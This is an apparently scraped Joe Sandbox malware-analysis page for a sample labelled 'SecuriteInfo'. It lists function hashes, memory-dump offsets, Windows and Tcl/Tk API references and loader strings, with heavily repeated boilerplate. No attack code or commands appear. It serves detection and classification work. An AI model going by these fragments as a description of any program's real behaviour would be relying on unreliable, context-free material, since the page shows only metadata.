Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction ID: dea04e26b7216c672dbbcab8593c8a1116e0aebcda015d8e5d518e39a33d9ccf
Opcode Fuzzy Hash: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction Fuzzy Hash: 30C1AE722181E08BD289EB29E4A94BA73D1F78930DBD5407BEF8747789C63CA414DB21

Function 00007FF7EAD12C10 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction ID: eac9839e9d20f349cfcc6ded133971b43896407cb63281162f2c77a7100ab73d
Opcode Fuzzy Hash: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction Fuzzy Hash: 43B18A76A0878585F764DF39C05023CBBA4EB69F48FA801B6CA4E47399CF3AD441C766

Function 00007FF7EAD1E570 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction ID: 90e62ba1304c8be173760bd401c62751ad2d613a39ec0c77eb87bc88c6d61eba
Opcode Fuzzy Hash: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction Fuzzy Hash: 1181F372A0C38146F774DB29A44037AEB95FBA5794F804276DA9D43B9DDF3CE4408B12

Function 00007FF7EAD26418 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c4c9f5a32dfdae123a950871ad542e5144b1bba19a2b1a1cf20ca827a7dd530f
Instruction ID: 082136a70e7903f4c3a8682000dd71007942cbd6d5129c3c467b49d86e6d7b13
Opcode Fuzzy Hash: c4c9f5a32dfdae123a950871ad542e5144b1bba19a2b1a1cf20ca827a7dd530f
Instruction Fuzzy Hash: 5161B222A0C39246F764EA78945077DA781EB50760F9402FBD66DC26CDDE7DE841C732

Function 00007FF7EAD12164 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 16dbd852715bcebcfdd48fe17837e07ca23cc9556ef3dedd4edb14e3168e1751
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 3F517E76A1865186F724DB39C44036CB3A1FB68B68F684176CA8D07798CB3BE893C751

Function 00007FF7EAD11944 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 241f4a17f350fd7e56111b3c09864cd26ec5eaafd4f005833dd381e73bdf3e6c
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 0751D232A18A5182F724DB39D040338B7B0EB64B68F64417AEE9D07798DB3AED43C751

Function 00007FF7EAD11D54 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 0a41bea0c6a733defe538892283327f7925893b58a0c73e4226c70ef59918292
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: D9519176A1865182F724DB39C040768B3A0EB65F68F64417AEE4D077D8CB3AEC53C791

Function 00007FF7EAD11B50 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: d38823af9140b0018e3be40f5342f5328de4b1921e4888a7deaccc45ba41ed1b
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 7D51B076A1865182F724DF38D084328A7A1EB65F58FA441B6EA4C07798DB3AEC83C751

Function 00007FF7EAD11F60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: b62139e90bd44764f5c78b3d91e8174d14e748511174ce1d00d58aa367d7413d
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: C251BE36A1865586F724DB39C040338A3A0EB64B58FA44176EE4C177ADDB3AEC43C791

Function 00007FF7EAD11740 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 888479a8c5a45c3194ae0d153e6942be5298b09fbc6c1f0a3baa44b539b8b920
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 2C518136A1865186F724DB39C040378A7A1EB65B58FA88176EE4C1779CCF3AEC42C791

Function 00007FF7EAD15D30 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: ecf3bb13c0e64aa6568933883de90c4a9628dfd207f523030017bf4d02c81ec3
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: C541A066C0D74A05F9A9D9380508BB4A780DF32BA0ED816FADD9D173CBC93D6596C322

Function 00007FF7EAD19EA0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction ID: b60adb5d74d807f3caf27008998dd559eb7d9b1c182344e0e7e838622f362c1c
Opcode Fuzzy Hash: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction Fuzzy Hash: 6941E232B14A5586FF04DF2ADA142A9A3A5FB58FD0B899037EE0D97B58DE3DD0428701

Function 00007FF7EAD180E4 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction ID: 2a2495e4786645ac5e29718509e95a3a0756e7f08b731c8a25c57ccc95e786fe
Opcode Fuzzy Hash: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction Fuzzy Hash: 0031E132B08B4241F664EF31A44022EABD5EB84B90F9442BAEA5D53BD9DF3CD0118711

Function 00007FF7EAD29570 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction ID: 4579df3b3fae10439ce10e28d7fc74f993380b723cf582ea4425769c28f28920
Opcode Fuzzy Hash: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction Fuzzy Hash: 6BF068727182958BEB98DF6DA40272977D0F7083C0F8090BAD58D83B08DA3CD0518F15

Function 00007FF7EAD0D30C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction ID: 4b1c5fb5e76b1ba6bbafb2edfb77f55d11e8889e1d97bff7d2a4e8917e36ca1e
Opcode Fuzzy Hash: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction Fuzzy Hash: 46A0013190C90AD4F648EB00A890235A325FF54304BC000B3E04D510A89E7CA404D222

Function 00007FF7EAD076C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7EAD076D7
GetLastError.KERNEL32 ref: 00007FF7EAD076E9
GetProcAddress.KERNEL32 ref: 00007FF7EAD07725
GetLastError.KERNEL32 ref: 00007FF7EAD07737
GetProcAddress.KERNEL32 ref: 00007FF7EAD07750
GetLastError.KERNEL32 ref: 00007FF7EAD07762
GetProcAddress.KERNEL32 ref: 00007FF7EAD0777B
GetLastError.KERNEL32 ref: 00007FF7EAD0778D
GetProcAddress.KERNEL32 ref: 00007FF7EAD077A9
GetLastError.KERNEL32 ref: 00007FF7EAD077BB
GetProcAddress.KERNEL32 ref: 00007FF7EAD077D7
GetLastError.KERNEL32 ref: 00007FF7EAD077E9
GetProcAddress.KERNEL32 ref: 00007FF7EAD07805
GetLastError.KERNEL32 ref: 00007FF7EAD07817
GetProcAddress.KERNEL32 ref: 00007FF7EAD07833
GetLastError.KERNEL32 ref: 00007FF7EAD07845
GetProcAddress.KERNEL32 ref: 00007FF7EAD07861
GetLastError.KERNEL32 ref: 00007FF7EAD07873

Strings

Tcl_MutexFinalize, xrefs: 00007FF7EAD0790F, 00007FF7EAD07931
Tcl_NewStringObj, xrefs: 00007FF7EAD07ADB, 00007FF7EAD07AFD
Tcl_CreateInterp, xrefs: 00007FF7EAD0771B, 00007FF7EAD0773D
Tcl_ConditionFinalize, xrefs: 00007FF7EAD0793D, 00007FF7EAD0795F
GetProcAddress, xrefs: 00007FF7EAD076FF
Tcl_FinalizeThread, xrefs: 00007FF7EAD077CD, 00007FF7EAD077EF
Tcl_ConditionWait, xrefs: 00007FF7EAD07999, 00007FF7EAD079BB
Tcl_GetString, xrefs: 00007FF7EAD07AAD, 00007FF7EAD07ACF
Tcl_ThreadQueueEvent, xrefs: 00007FF7EAD079C7, 00007FF7EAD079E9
Tcl_SetVar2, xrefs: 00007FF7EAD07A51, 00007FF7EAD07A73
Tcl_FindExecutable, xrefs: 00007FF7EAD07746, 00007FF7EAD07768
Tk_GetNumMainWindows, xrefs: 00007FF7EAD07CA7, 00007FF7EAD07CC9
Tcl_GetObjResult, xrefs: 00007FF7EAD07B65, 00007FF7EAD07B87
Tcl_EvalObjv, xrefs: 00007FF7EAD07BEF, 00007FF7EAD07C11
Tcl_GetVar2, xrefs: 00007FF7EAD07A23, 00007FF7EAD07A45
Tcl_Alloc, xrefs: 00007FF7EAD07C1D, 00007FF7EAD07C3F
Tcl_MutexUnlock, xrefs: 00007FF7EAD078E1, 00007FF7EAD07903
Tcl_DeleteInterp, xrefs: 00007FF7EAD077FB, 00007FF7EAD0781D
Tcl_Init, xrefs: 00007FF7EAD076D0, 00007FF7EAD076EF
Tcl_JoinThread, xrefs: 00007FF7EAD07885, 00007FF7EAD078A7
Tcl_MutexLock, xrefs: 00007FF7EAD078B3, 00007FF7EAD078D5
Tcl_Finalize, xrefs: 00007FF7EAD0779F, 00007FF7EAD077C1
Tcl_CreateObjCommand, xrefs: 00007FF7EAD07A7F, 00007FF7EAD07AA1
Tcl_SetVar2Ex, xrefs: 00007FF7EAD07B37, 00007FF7EAD07B59
Tcl_EvalEx, xrefs: 00007FF7EAD07BC1, 00007FF7EAD07BE3
Tcl_CreateThread, xrefs: 00007FF7EAD07829, 00007FF7EAD0784B
Failed to get address for %hs, xrefs: 00007FF7EAD076F8
Tcl_ConditionNotify, xrefs: 00007FF7EAD0796B, 00007FF7EAD0798D
Tcl_EvalFile, xrefs: 00007FF7EAD07B93, 00007FF7EAD07BB5
Tcl_GetCurrentThread, xrefs: 00007FF7EAD07857, 00007FF7EAD07879
Tcl_Free, xrefs: 00007FF7EAD07C4B, 00007FF7EAD07C6D
Tcl_NewByteArrayObj, xrefs: 00007FF7EAD07B09, 00007FF7EAD07B2B
Tk_Init, xrefs: 00007FF7EAD07C79, 00007FF7EAD07C9B
Tcl_DoOneEvent, xrefs: 00007FF7EAD07771, 00007FF7EAD07793
Tcl_ThreadAlert, xrefs: 00007FF7EAD079F5, 00007FF7EAD07A17

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: fd79366d10eff1426a2f1099dc66648e36f79815a7641e88e24ed06158b605d5
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 7002C130E09F0781FA55FB55A9547B4A3A6EF05758BD040B3E86E0626CEF7CB54AC232

Function 00007FF7EAD081D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7EAD09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7EAD045F4,00000000,00007FF7EAD01985), ref: 00007FF7EAD093C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7EAD086B7,?,?,00000000,00007FF7EAD03CBB), ref: 00007FF7EAD0822C

Part of subcall function 00007FF7EAD02810: MessageBoxW.USER32 ref: 00007FF7EAD028EA

Strings

%.*s, xrefs: 00007FF7EAD0830C
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7EAD0829D
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7EAD082D9
\, xrefs: 00007FF7EAD08261
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7EAD08203
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7EAD08373
CreateDirectory, xrefs: 00007FF7EAD0837C
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7EAD08240

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction ID: 27cbb44b4b0018f4524e81f297e685114d20aa569ed7601946d0285ee283ed2a
Opcode Fuzzy Hash: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction Fuzzy Hash: B2518311A2964245FA50FB24D8913BEE391EF94788FC44473DA4E826DDEEBCE404C772

Function 00007FF7EAD02180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7EAD021AB
SelectObject.GDI32 ref: 00007FF7EAD021F2
DrawTextW.USER32 ref: 00007FF7EAD02215
SelectObject.GDI32 ref: 00007FF7EAD0222B
ReleaseDC.USER32 ref: 00007FF7EAD0223B
MoveWindow.USER32 ref: 00007FF7EAD0228B
MoveWindow.USER32 ref: 00007FF7EAD022CB
MoveWindow.USER32 ref: 00007FF7EAD0231E
